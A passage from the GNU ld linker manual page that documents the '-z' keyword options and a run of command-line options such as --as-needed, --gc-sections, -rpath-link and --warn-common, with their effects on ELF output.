
nocopyreloc
Disable linker generated .dynbss variables used in place of variables defined in shared libraries. May result in dynamic text relocations.

nodefaultlib
Specify that the dynamic loader search for dependencies of this object should ignore any default library search paths.

nodelete
Specify that the object shouldn’t be unloaded at runtime.

nodlopen
Specify that the object is not available to dlopen.

nodump
Specify that the object can not be dumped by dldump.

noexecstack
Marks the object as not requiring executable stack.

noextern-protected-data
Don’t treat protected data symbols as external when building a shared library. This option overrides the linker backend default. It can be used to work around incorrect relocations against protected data symbols generated by compiler. Updates on protected data symbols by another module aren’t visible to the resulting shared library. Supported for i386 and x86-64.

noreloc-overflow
Disable relocation overflow check. This can be used to disable relocation overflow check if there will be no dynamic relocation overflow at run-time. Supported for x86_64.

now
When generating an executable or shared library, mark it to tell the dynamic linker to resolve all symbols when the program is started, or when the shared library is loaded by dlopen, instead of deferring function call resolution to the point when the function is first called.

origin
Specify that the object requires $ORIGIN handling in paths.

pack-relative-relocs

nopack-relative-relocs

Generate compact relative relocation in position-independent executable and shared library. It adds DT_RELR, DT_RELRSZ and DT_RELRENT entries to the dynamic section. It is ignored when building position-dependent executable and relocatable output. nopack-relative-relocs is the default, which disables compact relative relocation. When linked against the GNU C Library, a GLIBC_ABI_DT_RELR symbol version dependency on the shared C Library is added to the output. Supported for i386 and x86-64.

relro

norelro

Create an ELF PT_GNU_RELRO segment header in the object. This specifies a memory segment that should be made read-only after relocation, if supported. Specifying common-page-size smaller than the system page size will render this protection ineffective. Don’t create an ELF PT_GNU_RELRO segment if norelro.

report-relative-reloc
Report dynamic relative relocations generated by linker. Supported for Linux/i386 and Linux/x86_64.

sectionheader

nosectionheader

Generate section header. Don’t generate section header if nosectionheader is used. sectionheader is the default.

separate-code

noseparate-code

Create separate code PT_LOAD segment header in the object. This specifies a memory segment that should contain only instructions and must be in wholly disjoint pages from any other data. Don’t create separate code PT_LOAD segment if noseparate-code is used.

shstk
Generate GNU_PROPERTY_X86_FEATURE_1_SHSTK in .note.gnu.property section to indicate compatibility with Intel Shadow Stack. Supported for Linux/i386 and Linux/x86_64.

stack-size=value
Specify a stack size for an ELF PT_GNU_STACK segment. Specifying zero will override any default non-zero sized PT_GNU_STACK segment creation.

start-stop-gc

nostart-stop-gc

When –gc-sections is in effect, a reference from a retained section to _ _start_SECNAME or _ _stop_SECNAME causes all input sections named SECNAME to also be retained, if SECNAME is representable as a C identifier and either _ _start_SECNAME or _ _stop_SECNAME is synthesized by the linker. -z start-stop-gc disables this effect, allowing sections to be garbage collected as if the special synthesized symbols were not defined. -z start-stop-gc has no effect on a definition of _ _start_SECNAME or _ _stop_SECNAME in an object file or linker script. Such a definition will prevent the linker providing a synthesized _ _start_SECNAME or _ _stop_SECNAME respectively, and therefore the special treatment by garbage collection for those references.

start-stop-visibility=value
Specify the ELF symbol visibility for synthesized _ _start_SECNAME and _ _stop_SECNAME symbols. value must be exactly default, internal, hidden, or protected. If no -z start-stop-visibility option is given, protected is used for compatibility with historical practice. However, it’s highly recommended to use -z start-stop-visibility=hidden in new programs and shared libraries so that these symbols are not exported between shared objects, which is not usually what’s intended.

text

notext

textoff

Report an error if DT_TEXTREL is set, i.e., if the position-independent or shared object has dynamic relocations in read-only sections. Don’t report an error if notext or textoff.

undefs
Do not report unresolved symbol references from regular object files, either when creating an executable, or when creating a shared library. This option is the inverse of -z defs.

unique-symbol

nounique-symbol

Avoid duplicated local symbol names in the symbol string table. Append “.number” to duplicated local symbol names if unique-symbol is used. nounique-symbol is the default.

x86-64-baseline

x86-64-v2

x86-64-v3

x86-64-v4

Specify the x86-64 ISA level needed in .note.gnu.property section. x86-64-baseline generates GNU_PROPERTY_X86_ISA_1_BASELINE. x86-64-v2 generates GNU_PROPERTY_X86_ISA_1_V2. x86-64-v3 generates GNU_PROPERTY_X86_ISA_1_V3. x86-64-v4 generates GNU_PROPERTY_X86_ISA_1_V4. Supported for Linux/i386 and Linux/x86_64.

isa-level-report=none

isa-level-report=all

isa-level-report=needed

isa-level-report=used

Specify how to report x86-64 ISA levels in input relocatable files. isa-level-report=none, which is the default, will make the linker not report x86-64 ISA levels in input files. isa-level-report=all will make the linker report needed and used x86-64 ISA levels in input files. isa-level-report=needed will make the linker report needed x86-64 ISA levels in input files. isa-level-report=used will make the linker report used x86-64 ISA levels in input files. Supported for Linux/i386 and Linux/x86_64.

Other keywords are ignored for Solaris compatibility.

-( archives -)

–start-group archives –end-group

The archives should be a list of archive files. They may be either explicit file names, or -l options. The specified archives are searched repeatedly until no new undefined references are created. Normally, an archive is searched only once in the order that it is specified on the command line. If a symbol in that archive is needed to resolve an undefined symbol referred to by an object in an archive that appears later on the command line, the linker would not be able to resolve that reference. By grouping the archives, they will all be searched repeatedly until all possible references are resolved. Using this option has a significant performance cost. It is best to use it only when there are unavoidable circular references between two or more archives.

–accept-unknown-input-arch

–no-accept-unknown-input-arch

Tells the linker to accept input files whose architecture cannot be recognised. The assumption is that the user knows what they are doing and deliberately wants to link in these unknown input files. This was the default behaviour of the linker, before release 2.14. The default behaviour from release 2.14 onwards is to reject such input files, and so the –accept-unknown-input-arch option has been added to restore the old behaviour.

–as-needed

–no-as-needed

This option affects ELF DT_NEEDED tags for dynamic libraries mentioned on the command line after the –as-needed option. Normally the linker will add a DT_NEEDED tag for each dynamic library mentioned on the command line, regardless of whether the library is actually needed or not. –as-needed causes a DT_NEEDED tag to only be emitted for a library that at that point in the link satisfies a non-weak undefined symbol reference from a regular object file or, if the library is not found in the DT_NEEDED lists of other needed libraries, a non-weak undefined symbol reference from another needed dynamic library. Object files or libraries appearing on the command line after the library in question do not affect whether the library is seen as needed. This is similar to the rules for extraction of object files from archives. –no-as-needed restores the default behaviour. Note: On Linux based systems the –as-needed option also has an affect on the behaviour of the –rpath and –rpath-link options. See the description of –rpath-link for more details.

–add-needed

–no-add-needed

These two options have been deprecated because of the similarity of their names to the –as-needed and –no-as-needed options. They have been replaced by –copy-dt-needed-entries and –no-copy-dt-needed-entries.

-assert keyword
This option is ignored for SunOS compatibility.

-Bdynamic

-dy

-call_shared

Link against dynamic libraries. This is only meaningful on platforms for which shared libraries are supported. This option is normally the default on such platforms. The different variants of this option are for compatibility with various systems. You may use this option multiple times on the command line: it affects library searching for -l options which follow it.

-Bgroup
Set the DF_1_GROUP flag in the DT_FLAGS_1 entry in the dynamic section. This causes the runtime linker to handle lookups in this object and its dependencies to be performed only inside the group. –unresolved-symbols=report-all is implied. This option is only meaningful on ELF platforms which support shared libraries.

-Bstatic

-dn

-non_shared

-static

Do not link against shared libraries. This is only meaningful on platforms for which shared libraries are supported. The different variants of this option are for compatibility with various systems. You may use this option multiple times on the command line: it affects library searching for -l options which follow it. This option also implies –unresolved-symbols=report-all. This option can be used with -shared. Doing so means that a shared library is being created but that all of the library’s external references must be resolved by pulling in entries from static libraries.

-Bsymbolic
When creating a shared library, bind references to global symbols to the definition within the shared library, if any. Normally, it is possible for a program linked against a shared library to override the definition within the shared library. This option is only meaningful on ELF platforms which support shared libraries.

-Bsymbolic-functions
When creating a shared library, bind references to global function symbols to the definition within the shared library, if any. This option is only meaningful on ELF platforms which support shared libraries.

-Bno-symbolic
This option can cancel previously specified -Bsymbolic and -Bsymbolic-functions.

–dynamic-list=dynamic-list-file
Specify the name of a dynamic list file to the linker. This is typically used when creating shared libraries to specify a list of global symbols whose references shouldn’t be bound to the definition within the shared library, or creating dynamically linked executables to specify a list of symbols which should be added to the symbol table in the executable. This option is only meaningful on ELF platforms which support shared libraries. The format of the dynamic list is the same as the version node without scope and node name. See VERSION for more information.

–dynamic-list-data
Include all global data symbols to the dynamic list.

–dynamic-list-cpp-new
Provide the builtin dynamic list for C++ operator new and delete. It is mainly useful for building shared libstdc++.

–dynamic-list-cpp-typeinfo
Provide the builtin dynamic list for C++ runtime type identification.

–check-sections

–no-check-sections

Asks the linker not to check section addresses after they have been assigned to see if there are any overlaps. Normally the linker will perform this check, and if it finds any overlaps it will produce suitable error messages. The linker does know about, and does make allowances for sections in overlays. The default behaviour can be restored by using the command-line switch –check-sections. Section overlap is not usually checked for relocatable links. You can force checking in that case by using the –check-sections option.

–copy-dt-needed-entries

–no-copy-dt-needed-entries

This option affects the treatment of dynamic libraries referred to by DT_NEEDED tags inside ELF dynamic libraries mentioned on the command line. Normally the linker won’t add a DT_NEEDED tag to the output binary for each library mentioned in a DT_NEEDED tag in an input dynamic library. With –copy-dt-needed-entries specified on the command line however any dynamic libraries that follow it will have their DT_NEEDED entries added. The default behaviour can be restored with –no-copy-dt-needed-entries. This option also has an effect on the resolution of symbols in dynamic libraries. With –copy-dt-needed-entries dynamic libraries mentioned on the command line will be recursively searched, following their DT_NEEDED tags to other libraries, in order to resolve symbols required by the output binary. With the default setting however the searching of dynamic libraries that follow it will stop with the dynamic library itself. No DT_NEEDED links will be traversed to resolve symbols.

–cref
Output a cross reference table. If a linker map file is being generated, the cross reference table is printed to the map file. Otherwise, it is printed on the standard output. The format of the table is intentionally simple, so that it may be easily processed by a script if necessary. The symbols are printed out, sorted by name. For each symbol, a list of file names is given. If the symbol is defined, the first file listed is the location of the definition. If the symbol is defined as a common value then any files where this happens appear next. Finally any files that reference the symbol are listed.

–ctf-variables

–no-ctf-variables

The CTF debuginfo format supports a section which encodes the names and types of variables found in the program which do not appear in any symbol table. These variables clearly cannot be looked up by address by conventional debuggers, so the space used for their types and names is usually wasted: the types are usually small but the names are often not. –ctf-variables causes the generation of such a section. The default behaviour can be restored with –no-ctf-variables.

–ctf-share-types=method
Adjust the method used to share types between translation units in CTF.

share-unconflicted
Put all types that do not have ambiguous definitions into the shared dictionary, where debuggers can easily access them, even if they only occur in one translation unit. This is the default.

share-duplicated
Put only types that occur in multiple translation units into the shared dictionary: types with only one definition go into per-translation-unit dictionaries. Types with ambiguous definitions in multiple translation units always go into per-translation-unit dictionaries. This tends to make the CTF larger, but may reduce the amount of CTF in the shared dictionary. For very large projects this may speed up opening the CTF and save memory in the CTF consumer at runtime.

–no-define-common
This option inhibits the assignment of addresses to common symbols. The script command INHIBIT_COMMON_ALLOCATION has the same effect. The –no-define-common option allows decoupling the decision to assign addresses to Common symbols from the choice of the output file type; otherwise a non-Relocatable output type forces assigning addresses to Common symbols. Using –no-define-common allows Common symbols that are referenced from a shared library to be assigned addresses only in the main program. This eliminates the unused duplicate space in the shared library, and also prevents any possible confusion over resolving to the wrong duplicate when there are many dynamic modules with specialized search paths for runtime symbol resolution.

–force-group-allocation
This option causes the linker to place section group members like normal input sections, and to delete the section groups. This is the default behaviour for a final link but this option can be used to change the behaviour of a relocatable link (-r). The script command FORCE_GROUP_ALLOCATION has the same effect.

–defsym=symbol=expression
Create a global symbol in the output file, containing the absolute address given by expression. You may use this option as many times as necessary to define multiple symbols in the command line. A limited form of arithmetic is supported for the expression in this context: you may give a hexadecimal constant or the name of an existing symbol, or use + and - to add or subtract hexadecimal constants or symbols. If you need more elaborate expressions, consider using the linker command language from a script. Note: there should be no white space between symbol, the equals sign ("="), and expression. The linker processes –defsym arguments and -T arguments in order, placing –defsym before -T will define the symbol before the linker script from -T is processed, while placing –defsym after -T will define the symbol after the linker script has been processed. This difference has consequences for expressions within the linker script that use the –defsym symbols, which order is correct will depend on what you are trying to achieve.

–demangle[=style]

–no-demangle

These options control whether to demangle symbol names in error messages and other output. When the linker is told to demangle, it tries to present symbol names in a readable fashion: it strips leading underscores if they are used by the object file format, and converts C++ mangled symbol names into user readable names. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler. The linker will demangle by default unless the environment variable COLLECT_NO_DEMANGLE is set. These options may be used to override the default.

-Ifile

–dynamic-linker=file

Set the name of the dynamic linker. This is only meaningful when generating dynamically linked ELF executables. The default dynamic linker is normally correct; don’t use this unless you know what you are doing.

–no-dynamic-linker
When producing an executable file, omit the request for a dynamic linker to be used at load-time. This is only meaningful for ELF executables that contain dynamic relocations, and usually requires entry point code that is capable of processing these relocations.

–embedded-relocs
This option is similar to the –emit-relocs option except that the relocs are stored in a target-specific section. This option is only supported by the BFIN, CR16 and M68K targets.

–disable-multiple-abs-defs
Do not allow multiple definitions with symbols included in filename invoked by -R or –just-symbols

–fatal-warnings

–no-fatal-warnings

Treat all warnings as errors. The default behaviour can be restored with the option –no-fatal-warnings.

-w

–no-warnings

Do not display any warning or error messages. This overrides –fatal-warnings if it has been enabled. This option can be used when it is known that the output binary will not work, but there is still a need to create it.

–force-exe-suffix
Make sure that an output file has a .exe suffix. If a successfully built fully linked output file does not have a .exe or .dll suffix, this option forces the linker to copy the output file to one of the same name with a .exe suffix. This option is useful when using unmodified Unix makefiles on a Microsoft Windows host, since some versions of Windows won’t run an image unless it ends in a .exe suffix.

–gc-sections

–no-gc-sections

Enable garbage collection of unused input sections. It is ignored on targets that do not support this option. The default behaviour (of not performing this garbage collection) can be restored by specifying –no-gc-sections on the command line. Note that garbage collection for COFF and PE format targets is supported, but the implementation is currently considered to be experimental. –gc-sections decides which input sections are used by examining symbols and relocations. The section containing the entry symbol and all sections containing symbols undefined on the command-line will be kept, as will sections containing symbols referenced by dynamic objects. Note that when building shared libraries, the linker must assume that any visible symbol is referenced. Once this initial set of sections has been determined, the linker recursively marks as used any section referenced by their relocations. See –entry, –undefined, and –gc-keep-exported. This option can be set when doing a partial link (enabled with option -r). In this case the root of symbols kept must be explicitly specified either by one of the options –entry, –undefined, or –gc-keep-exported or by a ENTRY command in the linker script. As a GNU extension, ELF input sections marked with the SHF_GNU_RETAIN flag will not be garbage collected.

–print-gc-sections

–no-print-gc-sections

List all sections removed by garbage collection. The listing is printed on stderr. This option is only effective if garbage collection has been enabled via the –gc-sections) option. The default behaviour (of not listing the sections that are removed) can be restored by specifying –no-print-gc-sections on the command line.

–gc-keep-exported
When –gc-sections is enabled, this option prevents garbage collection of unused input sections that contain global symbols having default or protected visibility. This option is intended to be used for executables where unreferenced sections would otherwise be garbage collected regardless of the external visibility of contained symbols. Note that this option has no effect when linking shared objects since it is already the default behaviour. This option is only supported for ELF format targets.

–print-output-format
Print the name of the default output format (perhaps influenced by other command-line options). This is the string that would appear in an OUTPUT_FORMAT linker script command.

–print-memory-usage
Print used size, total size and used size of memory regions created with the MEMORY command. This is useful on embedded targets to have a quick view of amount of free memory. The format of the output has one headline and one line per region. It is both human readable and easily parsable by tools. Here is an example of an output: Memory region Used Size Region Size %age Used ROM: 256 KB 1 MB 25.00% RAM: 32 B 2 GB 0.00%

–help
Print a summary of the command-line options on the standard output and exit.

–target-help
Print a summary of all target-specific options on the standard output and exit.

-Map=mapfile
Print a link map to the file mapfile. See the description of the -M option, above. If mapfile is just the character - then the map will be written to stdout. Specifying a directory as mapfile causes the linker map to be written as a file inside the directory. Normally name of the file inside the directory is computed as the basename of the output file with .map appended. If however the special character % is used then this will be replaced by the full path of the output file. Additionally if there are any characters after the % symbol then .map will no longer be appended. -o foo.exe -Map=bar [Creates ./bar] -o ../dir/foo.exe -Map=bar [Creates ./bar] -o foo.exe -Map=../dir [Creates ../dir/foo.exe.map] -o ../dir2/foo.exe -Map=../dir [Creates ../dir/foo.exe.map] -o foo.exe -Map=% [Creates ./foo.exe.map] -o ../dir/foo.exe -Map=% [Creates ../dir/foo.exe.map] -o foo.exe -Map=%.bar [Creates ./foo.exe.bar] -o ../dir/foo.exe -Map=%.bar [Creates ../dir/foo.exe.bar] -o ../dir2/foo.exe -Map=../dir/% [Creates ../dir/../dir2/foo.exe.map] -o ../dir2/foo.exe -Map=../dir/%.bar [Creates ../dir/../dir2/foo.exe.bar] It is an error to specify more than one % character. If the map file already exists then it will be overwritten by this operation.

–no-keep-memory
ld normally optimizes for speed over memory usage by caching the symbol tables of input files in memory. This option tells ld to instead optimize for memory usage, by rereading the symbol tables as necessary. This may be required if ld runs out of memory space while linking a large executable.

–no-undefined

-z defs

Report unresolved symbol references from regular object files. This is done even if the linker is creating a non-symbolic shared library. The switch –[no-]allow-shlib-undefined controls the behaviour for reporting unresolved references found in shared libraries being linked in. The effects of this option can be reverted by using -z undefs.

–allow-multiple-definition

-z muldefs

Normally when a symbol is defined multiple times, the linker will report a fatal error. These options allow multiple definitions and the first definition will be used.

–allow-shlib-undefined

–no-allow-shlib-undefined

Allows or disallows undefined symbols in shared libraries. This switch is similar to –no-undefined except that it determines the behaviour when the undefined symbols are in a shared library rather than a regular object file. It does not affect how undefined symbols in regular object files are handled. The default behaviour is to report errors for any undefined symbols referenced in shared libraries if the linker is being used to create an executable, but to allow them if the linker is being used to create a shared library. The reasons for allowing undefined symbol references in shared libraries specified at link time are that:

  • A shared library specified at link time may not be the same as the one that is available at load time, so the symbol might actually be resolvable at load time.

  • There are some operating systems, eg BeOS and HPPA, where undefined symbols in shared libraries are normal. The BeOS kernel for example patches shared libraries at load time to select whichever function is most appropriate for the current architecture. This is used, for example, to dynamically select an appropriate memset function.

–error-handling-script=scriptname
If this option is provided then the linker will invoke scriptname whenever an error is encountered. Currently however only two kinds of error are supported: missing symbols and missing libraries. Two arguments will be passed to script: the keyword “undefined-symbol” or `missing-lib" and the name of the undefined symbol or missing library. The intention is that the script will provide suggestions to the user as to where the symbol or library might be found. After the script has finished then the normal linker error message will be displayed. The availability of this option is controlled by a configure time switch, so it may not be present in specific implementations.

–no-undefined-version
Normally when a symbol has an undefined version, the linker will ignore it. This option disallows symbols with undefined version and a fatal error will be issued instead.

–default-symver
Create and use a default symbol version (the soname) for unversioned exported symbols.

–default-imported-symver
Create and use a default symbol version (the soname) for unversioned imported symbols.

–no-warn-mismatch
Normally ld will give an error if you try to link together input files that are mismatched for some reason, perhaps because they have been compiled for different processors or for different endiannesses. This option tells ld that it should silently permit such possible errors. This option should only be used with care, in cases when you have taken some special action that ensures that the linker errors are inappropriate.

–no-warn-search-mismatch
Normally ld will give a warning if it finds an incompatible library during a library search. This option silences the warning.

–no-whole-archive
Turn off the effect of the –whole-archive option for subsequent archive files.

–noinhibit-exec
Retain the executable output file whenever it is still usable. Normally, the linker will not produce an output file if it encounters errors during the link process; it exits without writing an output file when it issues any error whatsoever.

-nostdlib
Only search library directories explicitly specified on the command line. Library directories specified in linker scripts (including linker scripts specified on the command line) are ignored.

–oformat=output-format
ld may be configured to support more than one kind of object file. If your ld is configured this way, you can use the –oformat option to specify the binary format for the output object file. Even when ld is configured to support alternative object formats, you don’t usually need to specify this, as ld should be configured to produce as a default output format the most usual format on each machine. output-format is a text string, the name of a particular format supported by the BFD libraries. (You can list the available binary formats with objdump -i.) The script command OUTPUT_FORMAT can also specify the output format, but this option overrides it.

–out-implib file
Create an import library in file corresponding to the executable the linker is generating (eg. a DLL or ELF program). This import library (which should be called *.dll.a or *.a for DLLs) may be used to link clients against the generated executable; this behaviour makes it possible to skip a separate import library creation step (eg. dlltool for DLLs). This option is only available for the i386 PE and ELF targetted ports of the linker.

-pie

–pic-executable

Create a position independent executable. This is currently only supported on ELF platforms. Position independent executables are relocated by the dynamic linker to the virtual address the OS chooses for them, which can vary between invocations. They are marked ET_DYN in the ELF file header, but differ from shared libraries in a number of ways. In particular, defined symbols in a PIE by default can not be overridden by another object as they can be in a shared library.

-no-pie
Create a position dependent executable. This is the default.

-qmagic
This option is ignored for Linux compatibility.

-Qy
This option is ignored for SVR4 compatibility.

–relax

–no-relax

An option with machine dependent effects. This option is only supported on a few targets. On some platforms the –relax option performs target specific, global optimizations that become possible when the linker resolves addressing in the program, such as relaxing address modes, synthesizing new instructions, selecting shorter version of current instructions, and combining constant values. On some platforms these link time global optimizations may make symbolic debugging of the resulting executable impossible. This is known to be the case for the Matsushita MN10200 and MN10300 family of processors. On platforms where the feature is supported, the option –no-relax will disable it. On platforms where the feature is not supported, both –relax and –no-relax are accepted, but ignored.

–retain-symbols-file=filename
Retain only the symbols listed in the file filename, discarding all others. filename is simply a flat file, with one symbol name per line. This option is especially useful in environments (such as VxWorks) where a large global symbol table is accumulated gradually, to conserve run-time memory. –retain-symbols-file does not discard undefined symbols, or symbols needed for relocations. You may only specify –retain-symbols-file once in the command line. It overrides -s and -S.

-rpath=dir
Add a directory to the runtime library search path. This is used when linking an ELF executable with shared objects. All -rpath arguments are concatenated and passed to the runtime linker, which uses them to locate shared objects at runtime. The -rpath option is also used when locating shared objects which are needed by shared objects explicitly included in the link; see the description of the -rpath-link option. Searching -rpath in this way is only supported by native linkers and cross linkers which have been configured with the –with-sysroot option. If -rpath is not used when linking an ELF executable, the contents of the environment variable LD_RUN_PATH will be used if it is defined. The -rpath option may also be used on SunOS. By default, on SunOS, the linker will form a runtime search path out of all the -L options it is given. If a -rpath option is used, the runtime search path will be formed exclusively using the -rpath options, ignoring the -L options. This can be useful when using gcc, which adds many -L options which may be on NFS mounted file systems. For compatibility with other ELF linkers, if the -R option is followed by a directory name, rather than a file name, it is treated as the -rpath option.

-rpath-link=dir
When using ELF or SunOS, one shared library may require another. This happens when an ld -shared link includes a shared library as one of the input files. When the linker encounters such a dependency when doing a non-shared, non-relocatable link, it will automatically try to locate the required shared library and include it in the link, if it is not included explicitly. In such a case, several directories are searched as described below. The -rpath-link option specifies the first set of directories to search. This option may specify a sequence of directory names either by providing a list of names separated by colons, or by appearing multiple times. The tokens $ORIGIN and $LIB can appear in these search directories. They will be replaced by the full path to the directory containing the program or shared object in the case of $ORIGIN and either lib - for 32-bit binaries - or lib64 - for 64-bit binaries - in the case of $LIB. The alternative form of these tokens - ${ORIGIN} and ${LIB} can also be used. The token $PLATFORM is not supported. The –rpath-link option should be used with caution as it overrides the search path that may have been hard compiled into a shared library. In such a case it is possible to unintentionally use a different search path than the runtime linker would have used. When additional shared libraries are required, the linker will search directories in the order listed below in order to find them. Note however that this only applies to additional libraries needed to satisfy already included shared libraries. It does not apply to libraries that are included via the -l command line option. Searches for -l libraries are only conducted in directories specified by the -L option.

  1. Any directories specified by -rpath-link options.

  2. Any directories specified by -rpath options. The difference between -rpath and -rpath-link is that directories specified by -rpath options are included in the executable and used at runtime, whereas the -rpath-link option is only effective at link time. Searching -rpath in this way is only supported by native linkers and cross linkers which have been configured with the –with-sysroot option.

  3. On an ELF system, for native linkers, if the -rpath and -rpath-link options were not used, search the contents of the environment variable LD_RUN_PATH.

  4. On SunOS, if the -rpath option was not used, search any directories specified using -L options.

  5. For a native linker, search the contents of the environment variable LD_LIBRARY_PATH.

  6. For a native ELF linker, the directories in DT_RUNPATH or DT_RPATH of a shared library are searched for shared libraries needed by it. The DT_RPATH entries are ignored if DT_RUNPATH entries exist.

  7. For a linker for a Linux system, if the file /etc/ld.so.conf exists, the list of directories found in that file. Note: the path to this file is prefixed with the sysroot value, if that is defined, and then any prefix string if the linker was configured with the –prefix=<path> option.

  8. For a native linker on a FreeBSD system, any directories specified by the _PATH_ELF_HINTS macro defined in the elf-hints.h header file.

  9. Any directories specified by a SEARCH_DIR command in a linker script given on the command line, including scripts specified by -T (but not -dT).

  10. The default directories, normally /lib and /usr/lib.

  11. Any directories specified by a plugin LDPT_SET_EXTRA_LIBRARY_PATH.

  12. Any directories specified by a SEARCH_DIR command in a default linker script.

Note however on Linux based systems there is an additional caveat: If the –as-needed option is active and a shared library is located which would normally satisfy the search and this library does not have DT_NEEDED tag for libc.so and there is a shared library later on in the set of search directories which also satisfies the search and this second shared library does have a DT_NEEDED tag for libc.so then the second library will be selected instead of the first. If the required shared library is not found, the linker will issue a warning and continue with the link.

–section-ordering-file=script
This option is used to augment the current linker script with additional mapping of input sections to output sections. This file must use the same syntax for SECTIONS as is used in normal linker scripts, but it should not do anything other than place input sections into output sections. @pxref{SECTIONS} A second constraint on the section ordering script is that it can only reference output sections that are already defined by whichever linker script is currently in use. (Ie the default linker script or a script specified on the command line). The benefit of the section ordering script however is that the input sections are mapped to the start of the output sections, so that they can ensure the ordering of sections in the output section. For example, imagine that the default linker script looks like this: SECTIONS { .text : { *(.text.hot) ; *(.text .text.*) } .data : { *(.data.big) ; *(.data .data.*) } } Then if a section ordering file like this is used: .text : { *(.text.first) ; *(.text.z*) } .data : { foo.o(.data.first) ; *(.data.small) } This would be equivalent to a linker script like this: SECTIONS { .text : { *(.text.first) ; *(.text.z*) ; *(.text.hot) ; *(.text .text.*) } .data : { foo.o(.data.first) ; *(.data.small) ; *(.data.big) ; *(.data .data.*) } } The advantage of the section ordering file is that it can be used to order those sections that matter to the user without having to worry about any other sections, or memory regions, or anything else.

-shared

-Bshareable

Create a shared library. This is currently only supported on ELF, XCOFF and SunOS platforms. On SunOS, the linker will automatically create a shared library if the -e option is not used and there are undefined symbols in the link.

–sort-common

–sort-common=ascending

–sort-common=descending

This option tells ld to sort the common symbols by alignment in ascending or descending order when it places them in the appropriate output sections. The symbol alignments considered are sixteen-byte or larger, eight-byte, four-byte, two-byte, and one-byte. This is to prevent gaps between symbols due to alignment constraints. If no sorting order is specified, then descending order is assumed.

–sort-section=name
This option will apply SORT_BY_NAME to all wildcard section patterns in the linker script.

–sort-section=alignment
This option will apply SORT_BY_ALIGNMENT to all wildcard section patterns in the linker script.

–spare-dynamic-tags=count
This option specifies the number of empty slots to leave in the .dynamic section of ELF shared objects. Empty slots may be needed by post processing tools, such as the prelinker. The default is 5.

–split-by-file[=size]
Similar to –split-by-reloc but creates a new output section for each input file when size is reached. size defaults to a size of 1 if not given.

–split-by-reloc[=count]
Tries to creates extra sections in the output file so that no single output section in the file contains more than count relocations. This is useful when generating huge relocatable files for downloading into certain real time kernels with the COFF object file format; since COFF cannot represent more than 65535 relocations in a single section. Note that this will fail to work with object file formats which do not support arbitrary sections. The linker will not split up individual input sections for redistribution, so if a single input section contains more than count relocations one output section will contain that many relocations. count defaults to a value of 32768.

–stats
Compute and display statistics about the operation of the linker, such as execution time and memory usage.

–sysroot=directory
Use directory as the location of the sysroot, overriding the configure-time default. This option is only supported by linkers that were configured using –with-sysroot.

–task-link
This is used by COFF/PE based targets to create a task-linked object file where all of the global symbols have been converted to statics.

–traditional-format
For some targets, the output of ld is different in some ways from the output of some existing linker. This switch requests ld to use the traditional format instead. For example, on SunOS, ld combines duplicate entries in the symbol string table. This can reduce the size of an output file with full debugging information by over 30 percent. Unfortunately, the SunOS dbx program can not read the resulting program (gdb has no trouble). The –traditional-format switch tells ld to not combine duplicate entries.

–section-start=sectionname=org
Locate a section in the output file at the absolute address given by org. You may use this option as many times as necessary to locate multiple sections in the command line. org must be a single hexadecimal integer; for compatibility with other linkers, you may omit the leading 0x usually associated with hexadecimal values. Note: there should be no white space between sectionname, the equals sign ("="), and org.

-Tbss=org

-Tdata=org

-Ttext=org

Same as –section-start, with .bss, .data or .text as the sectionname.

-Ttext-segment=org
When creating an ELF executable, it will set the address of the first byte of the text segment. Note that when -pie is used with **-Ttext-segment=**org, the output executable is marked ET_EXEC so that the address of the first byte of the text segment will be guaranteed to be org at run time.

-Trodata-segment=org
When creating an ELF executable or shared object for a target where the read-only data is in its own segment separate from the executable text, it will set the address of the first byte of the read-only data segment.

-Tldata-segment=org
When creating an ELF executable or shared object for x86-64 medium memory model, it will set the address of the first byte of the ldata segment.

–unresolved-symbols=method
Determine how to handle unresolved symbols. There are four possible values for method:

ignore-all
Do not report any unresolved symbols.

report-all
Report all unresolved symbols. This is the default.

ignore-in-object-files
Report unresolved symbols that are contained in shared libraries, but ignore them if they come from regular object files.

ignore-in-shared-libs
Report unresolved symbols that come from regular object files, but ignore them if they come from shared libraries. This can be useful when creating a dynamic binary and it is known that all the shared libraries that it should be referencing are included on the linker’s command line.

The behaviour for shared libraries on their own can also be controlled by the –[no-]allow-shlib-undefined option. Normally the linker will generate an error message for each reported unresolved symbol but the option –warn-unresolved-symbols can change this to a warning.

–dll-verbose

–verbose[=NUMBER]

Display the version number for ld and list the linker emulations supported. Display which input files can and cannot be opened. Display the linker script being used by the linker. If the optional NUMBER argument > 1, plugin symbol status will also be displayed.

–version-script=version-scriptfile
Specify the name of a version script to the linker. This is typically used when creating shared libraries to specify additional information about the version hierarchy for the library being created. This option is only fully supported on ELF platforms which support shared libraries; see VERSION. It is partially supported on PE platforms, which can use version scripts to filter symbol visibility in auto-export mode: any symbols marked local in the version script will not be exported.

–warn-common
Warn when a common symbol is combined with another common symbol or with a symbol definition. Unix linkers allow this somewhat sloppy practice, but linkers on some other operating systems do not. This option allows you to find potential problems from combining global symbols. Unfortunately, some C libraries use this practice, so you may get some warnings about symbols in the libraries as well as in your programs. There are three kinds of global symbols, illustrated here by C examples:

int i = 1;
A definition, which goes in the initialized data section of the output file.

extern int i;
An undefined reference, which does not allocate space. There must be either a definition or a common symbol for the variable somewhere.

int i;
A common symbol. If there are only (one or more) common symbols for a variable, it goes in the uninitialized data area of the output file. The linker merges multiple common symbols for the same variable into a single symbol. If they are of different sizes, it picks the largest size. The linker turns a common symbol into a declaration, if there is a definition of the same variable.

The –warn-common option can produce five kinds of warnings. Each warning consists of a pair of lines: the first describes the symbol just encountered, and the second describes the previous symbol encountered with the same name. One or both of the two symbols will be a common symbol.

  1. Turning a common symbol into a reference, because there is already a definition for the symbol. <file>(<section>): warning: common of `<symbol> overridden by definition <file>(<section>): warning: defined here

  2. Turning a common symbol into a reference, because a later definition for the symbol is encountered. This is the same as the previous case, except that the symbols are encountered in a different order. <file>(<section>): warning: definition of `<symbol> overriding common <file>(<section>): warning: common is here

  3. Merging a common symbol with a previous same-sized common symbol. <file>(<section>): warning: multiple common of `<symbol> <file>(<section>): warning: previous common is here

  4. Merging a common symbol with a previous larger common symbol. <file>(<section>): warning: common of `<symbol> overridden by larger common <file>(<section>): warning: larger common is here

  5. Merging a common symbol with a previous smaller common symbol. This is the same as the previous case, except that the symbols are encountered in a different order. <file>(<section>): warning: common of `<symbol> overriding smaller common <file>(<section>): warning: smaller common is here

–warn-constructors
Warn if any global constructors are used. This is only useful for a few object file formats. For formats like COFF or ELF, the linker can not detect the use of global constructors.

–warn-execstack
